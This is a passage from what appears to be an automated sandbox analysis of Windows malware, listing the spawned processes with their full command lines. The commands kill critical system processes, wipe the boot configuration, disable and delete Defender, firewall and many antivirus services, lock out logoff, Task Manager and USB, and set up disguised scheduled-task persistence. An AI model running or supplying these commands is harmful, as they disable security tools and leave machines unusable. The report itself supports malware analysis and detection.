  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5204
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5312
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5344
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5376
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5384
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5392
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5456
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5500
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5508
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5520
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5548
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5556
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5564
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5572
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5664
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5696
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5752
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5788
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5852
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5872
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5948
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5964
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5972
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5988
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6008
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6028
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6036
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6096
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6160
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6172
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6432
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6440
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6452
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6460
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6480
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6504
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6512
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6540
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6568
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6580
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6600
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6608
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:6616
- C:\Windows\system32\msg.exe
  msg * ""
  2⤵
  PID:6672
- C:\Windows\system32\taskkill.exe
  taskkill /f /im csrss.exe
  2⤵
  - Kills process with taskkill
  PID:6768
- C:\Windows\system32\taskkill.exe
  taskkill /f /im winlogon.exe
  2⤵
  - Kills process with taskkill
  PID:6860
- C:\Windows\system32\taskkill.exe
  taskkill /f /im services.exe
  2⤵
  - Kills process with taskkill
  PID:6952
- C:\Windows\system32\taskkill.exe
  taskkill /f /im LogonUI.exe
  2⤵
  - Kills process with taskkill
  PID:7036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Public\crash.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7128
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kzhvihgq\kzhvihgq.cmdline"
    3⤵
    PID:4100
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC51C.tmp" "c:\Users\Admin\AppData\Local\Temp\kzhvihgq\CSC9F689225131E4AB4821FF87AB6E88C3.TMP"
      4⤵
      PID:5088
- - C:\Windows\system32\bcdedit.exe
    "C:\Windows\system32\bcdedit.exe" /createstore C:\Users\Admin\AppData\Local\Temp\empty.bcd
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2796
- - C:\Windows\system32\bcdedit.exe
    "C:\Windows\system32\bcdedit.exe" /import C:\Users\Admin\AppData\Local\Temp\empty.bcd /clean
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1472
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop WinDefend
    3⤵
    - Launches sc.exe
    PID:4224
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WinDefend start= disabled
    3⤵
    PID:768
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete WinDefend
    3⤵
    PID:864
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop WdNisSvc
    3⤵
    PID:1340
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WdNisSvc start= disabled
    3⤵
    PID:4224
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete WdNisSvc
    3⤵
    - Launches sc.exe
    PID:768
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop wscsvc
    3⤵
    - Launches sc.exe
    PID:6692
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config wscsvc start= disabled
    3⤵
    PID:4528
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete wscsvc
    3⤵
    PID:1048
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop mpssvc
    3⤵
    PID:3888
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config mpssvc start= disabled
    3⤵
    PID:4464
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete mpssvc
    3⤵
    PID:3396
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop BITS
    3⤵
    PID:3140
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config BITS start= disabled
    3⤵
    - Launches sc.exe
    PID:6692
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete BITS
    3⤵
    PID:3396
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop wuauserv
    3⤵
    PID:2024
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:3480
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete wuauserv
    3⤵
    PID:4528
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop TrustedInstaller
    3⤵
    PID:3396
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config TrustedInstaller start= disabled
    3⤵
    PID:3180
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete TrustedInstaller
    3⤵
    PID:3140
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop CryptSvc
    3⤵
    PID:7200
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config CryptSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:7248
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete CryptSvc
    3⤵
    PID:7284
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /f C:\Windows\System32\config /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:7316
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" C:\Windows\System32\config /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:7360

C:\Windows\system32\net.exe
net session
1⤵
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 session
  2⤵
  PID:3524

C:\Windows\system32\timeout.exe
timeout /t 5 /nobreak
1⤵
- Delays execution with timeout.exe
PID:4000

C:\Windows\system32\schtasks.exe
schtasks /create /tn "MicrosoftEdgeUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /sc onlogon /rl highest /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:4220

C:\Windows\system32\sc.exe
sc stop WinDefend
1⤵
PID:556

C:\Windows\system32\sc.exe
sc config WinDefend start= disabled
1⤵
PID:1928

C:\Windows\system32\sc.exe
sc stop WdNisSvc
1⤵
PID:3120

C:\Windows\system32\sc.exe
sc config WdNisSvc start= disabled
1⤵
PID:5008

C:\Windows\system32\sc.exe
sc stop Sense
1⤵
- Launches sc.exe
PID:5036

C:\Windows\system32\sc.exe
sc config Sense start= disabled
1⤵
PID:1400

C:\Windows\system32\sc.exe
sc stop WdFilter
1⤵
- Launches sc.exe
PID:4672

C:\Windows\system32\sc.exe
sc config WdFilter start= disabled
1⤵
PID:4944

C:\Windows\system32\sc.exe
sc stop WebThreatDefSvc
1⤵
PID:4144

C:\Windows\system32\sc.exe
sc config WebThreatDefSvc start= disabled
1⤵
- Launches sc.exe
PID:3512

C:\Windows\system32\sc.exe
sc stop MsSecCore
1⤵
- Launches sc.exe
PID:3904

C:\Windows\system32\sc.exe
sc config MsSecCore start= disabled
1⤵
- Launches sc.exe
PID:440

C:\Windows\system32\sc.exe
sc stop wscsvc
1⤵
PID:2848

C:\Windows\system32\sc.exe
sc config wscsvc start= disabled
1⤵
PID:3624

C:\Windows\system32\sc.exe
sc stop SecurityHealthService
1⤵
PID:1404

C:\Windows\system32\sc.exe
sc config SecurityHealthService start= disabled
1⤵
- Launches sc.exe
PID:3336

C:\Windows\system32\sc.exe
sc stop mpssvc
1⤵
PID:2592

C:\Windows\system32\sc.exe
sc config mpssvc start= disabled
1⤵
- Launches sc.exe
PID:792

C:\Windows\system32\sc.exe
sc stop BITS
1⤵
PID:4344

C:\Windows\system32\sc.exe
sc config BITS start= disabled
1⤵
PID:5064

C:\Windows\system32\sc.exe
sc stop UsoSvc
1⤵
- Launches sc.exe
PID:1448

C:\Windows\system32\sc.exe
sc config UsoSvc start= disabled
1⤵
- Launches sc.exe
PID:4100

C:\Windows\system32\sc.exe
sc stop McAfeeFramework
1⤵
PID:4884

C:\Windows\system32\sc.exe
sc config McAfeeFramework start= disabled
1⤵
- Launches sc.exe
PID:1980

C:\Windows\system32\sc.exe
sc stop McShield
1⤵
PID:2780

C:\Windows\system32\sc.exe
sc config McShield start= disabled
1⤵
PID:2268

C:\Windows\system32\sc.exe
sc stop mfefire
1⤵
PID:1016

C:\Windows\system32\sc.exe
sc config mfefire start= disabled
1⤵
PID:2904

C:\Windows\system32\sc.exe
sc stop mfevtp
1⤵
PID:1824

C:\Windows\system32\sc.exe
sc config mfevtp start= disabled
1⤵
PID:4012

C:\Windows\system32\sc.exe
sc stop NortonSecurity
1⤵
PID:1684

C:\Windows\system32\sc.exe
sc config NortonSecurity start= disabled
1⤵
PID:3892

C:\Windows\system32\sc.exe
sc stop ccSetMgr
1⤵
- Launches sc.exe
PID:696

C:\Windows\system32\sc.exe
sc config ccSetMgr start= disabled
1⤵
- Launches sc.exe
PID:3384

C:\Windows\system32\sc.exe
sc stop AVP
1⤵
PID:3492

C:\Windows\system32\sc.exe
sc config AVP start= disabled
1⤵
PID:2844

C:\Windows\system32\sc.exe
sc stop klif
1⤵
- Launches sc.exe
PID:3084

C:\Windows\system32\sc.exe
sc config klif start= disabled
1⤵
PID:2372

C:\Windows\system32\sc.exe
sc stop klim6
1⤵
PID:3532

C:\Windows\system32\sc.exe
sc config klim6 start= disabled
1⤵
PID:4840

C:\Windows\system32\sc.exe
sc stop klwtp
1⤵
PID:2392

C:\Windows\system32\sc.exe
sc config klwtp start= disabled
1⤵
PID:3004

C:\Windows\system32\sc.exe
sc stop VSSERV
1⤵
PID:2144

C:\Windows\system32\sc.exe
sc config VSSERV start= disabled
1⤵
PID:5100

C:\Windows\system32\sc.exe
sc stop bdredline
1⤵
PID:3780

C:\Windows\system32\sc.exe
sc config bdredline start= disabled
1⤵
PID:4796

C:\Windows\system32\sc.exe
sc stop updatesrv
1⤵
PID:3104

C:\Windows\system32\sc.exe
sc config updatesrv start= disabled
1⤵
PID:4536

C:\Windows\system32\sc.exe
sc stop MBAMService
1⤵
- Launches sc.exe
PID:2336

C:\Windows\system32\sc.exe
sc config MBAMService start= disabled
1⤵
- Launches sc.exe
PID:1000

C:\Windows\system32\sc.exe
sc stop MBAMChameleon
1⤵
PID:2100

C:\Windows\system32\sc.exe
sc config MBAMChameleon start= disabled
1⤵
PID:3220

C:\Windows\system32\sc.exe
sc stop Sophos
1⤵
- Launches sc.exe
PID:1048

C:\Windows\system32\sc.exe
sc config Sophos start= disabled
1⤵
- Launches sc.exe
PID:920

C:\Windows\system32\sc.exe
sc stop Health
1⤵
PID:5000

C:\Windows\system32\sc.exe
sc config Health start= disabled
1⤵
PID:1592

C:\Windows\system32\sc.exe
sc stop Sophos
1⤵
PID:4568

C:\Windows\system32\sc.exe
sc config Sophos start= disabled
1⤵
PID:3896

C:\Windows\system32\sc.exe
sc stop Anti-Virus
1⤵
PID:3312

C:\Windows\system32\sc.exe
sc config Anti-Virus start= disabled
1⤵
PID:4288

C:\Windows\system32\sc.exe
sc stop SAVService
1⤵
PID:808

C:\Windows\system32\sc.exe
sc config SAVService start= disabled
1⤵
PID:656

C:\Windows\system32\sc.exe
sc stop ekrn
1⤵
- Launches sc.exe
PID:1200

C:\Windows\system32\sc.exe
sc config ekrn start= disabled
1⤵
- Launches sc.exe
PID:856

C:\Windows\system32\sc.exe
sc stop egui
1⤵
PID:2968

C:\Windows\system32\sc.exe
sc config egui start= disabled
1⤵
PID:2680

C:\Windows\system32\sc.exe
sc stop epfw
1⤵
- Launches sc.exe
PID:1456

C:\Windows\system32\sc.exe
sc config epfw start= disabled
1⤵
PID:4656

C:\Windows\system32\sc.exe
sc stop TMBMSRV
1⤵
PID:3196

C:\Windows\system32\sc.exe
sc config TMBMSRV start= disabled
1⤵
PID:1148

C:\Windows\system32\sc.exe
sc stop ntrtscan
1⤵
- Launches sc.exe
PID:3188

C:\Windows\system32\sc.exe
sc config ntrtscan start= disabled
1⤵
PID:4456

C:\Windows\system32\sc.exe
sc stop TmPfw
1⤵
PID:1412

C:\Windows\system32\sc.exe
sc config TmPfw start= disabled
1⤵
PID:3776

C:\Windows\system32\sc.exe
sc stop avast
1⤵
- Launches sc.exe
PID:2616

C:\Windows\system32\sc.exe
sc config avast start= disabled
1⤵
- Launches sc.exe
PID:3024

C:\Windows\system32\sc.exe
sc stop aswbIDSAgent
1⤵
- Launches sc.exe
PID:1628

C:\Windows\system32\sc.exe
sc config aswbIDSAgent start= disabled
1⤵
PID:1772

C:\Windows\system32\sc.exe
sc stop sophosautoupdate
1⤵
PID:1884

C:\Windows\system32\sc.exe
sc config sophosautoupdate start= disabled
1⤵
- Launches sc.exe
PID:4248

C:\Windows\system32\sc.exe
sc stop ASdSvc
1⤵
PID:3364

C:\Windows\system32\sc.exe
sc config ASdSvc start= disabled
1⤵
PID:2812

C:\Windows\system32\sc.exe
sc stop bdservicehost
1⤵
PID:2116

C:\Windows\system32\sc.exe
sc config bdservicehost start= disabled
1⤵
PID:228

C:\Windows\system32\sc.exe
sc stop bdagent
1⤵
PID:236

C:\Windows\system32\sc.exe
sc config bdagent start= disabled
1⤵
PID:4724

C:\Windows\system32\timeout.exe
timeout /t 5 /nobreak
1⤵
- Delays execution with timeout.exe
PID:2196

C:\Windows\system32\powercfg.exe
powercfg -setacvalueindex SCHEME_CURRENT SUB_BUTTONS PBUTTONACTION 0
1⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4352

C:\Windows\system32\powercfg.exe
powercfg -setdcvalueindex SCHEME_CURRENT SUB_BUTTONS PBUTTONACTION 0
1⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2484

C:\Windows\system32\powercfg.exe
powercfg -setacvalueindex SCHEME_CURRENT SUB_BUTTONS SBUTTONACTION 0
1⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:788

C:\Windows\system32\powercfg.exe
powercfg -setdcvalueindex SCHEME_CURRENT SUB_BUTTONS SBUTTONACTION 0
1⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3108

C:\Windows\system32\powercfg.exe
powercfg -setactive SCHEME_CURRENT
1⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1928

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
1⤵
- Modifies Windows Defender TamperProtection settings
PID:3076

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:2472

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3672

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d 1 /f
1⤵
PID:2848

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:4300

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:4852

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2276

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2780

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f
1⤵
PID:2056

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d 0 /f
1⤵
PID:784

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2544

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\CloudBlockLevel" /ve /t REG_DWORD /d 0 /f
1⤵
PID:3852

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" /v "DebugMode" /t REG_DWORD /d 1 /f
1⤵
PID:4520

C:\Windows\system32\netsh.exe
netsh advfirewall set allprofiles state off #
1⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3360

C:\Windows\system32\takeown.exe
takeown /f "C:\Windows\System32\shutdown.exe"
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:920

C:\Windows\system32\takeown.exe
takeown /f "C:\Windows\System32\logoff.exe"
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2288

C:\Windows\system32\icacls.exe
icacls "C:\Windows\System32\shutdown.exe" /deny *S-1-1-0:(X)
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1168

C:\Windows\system32\icacls.exe
icacls "C:\Windows\System32\logoff.exe" /deny *S-1-1-0:(X)
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:808

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:656

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:856

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:2968

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:3460

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:4972

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
1⤵
- Modifies firewall policy service
PID:2212

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
1⤵
PID:2624

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f
1⤵
PID:1148

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:3188

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:4740

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
1⤵
PID:3776

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSetFolders" /t REG_DWORD /d 1 /f
1⤵
PID:388

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:5068

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:3300

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2120

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:1884

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f
1⤵
PID:4248

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoTrayItemsDisplay" /t REG_DWORD /d 1 /f
1⤵
PID:1676

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWinKeys" /t REG_DWORD /d 1 /f
1⤵
PID:3364

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:2888

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoTaskbar" /t REG_DWORD /d 1 /f
1⤵
PID:4304

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoStartMenu" /t REG_DWORD /d 1 /f
1⤵
PID:4068

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDesktop" /t REG_DWORD /d 1 /f
1⤵
PID:236

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSecurityCenter" /t REG_DWORD /d 1 /f
1⤵
PID:4708

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v "Start" /t REG_DWORD /d 4 /f
1⤵
PID:1052

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:824

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v "Flags" /t REG_SZ /d "122" /f
1⤵
PID:2700

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v "Flags" /t REG_SZ /d "58" /f
1⤵
PID:4660

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\MouseKeys" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:2380

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\HighContrast" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:2576

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\Narrator" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:4824

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\Magnifier" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:4432

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\OnScreenKeyboard" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:1372

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCAD /t REG_DWORD /d 1 /f
1⤵
PID:1724

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:4820

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
1⤵
PID:3036

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
1⤵
PID:428

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
1⤵
PID:2892

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
1⤵
PID:772

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
1⤵
PID:1664

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:1680

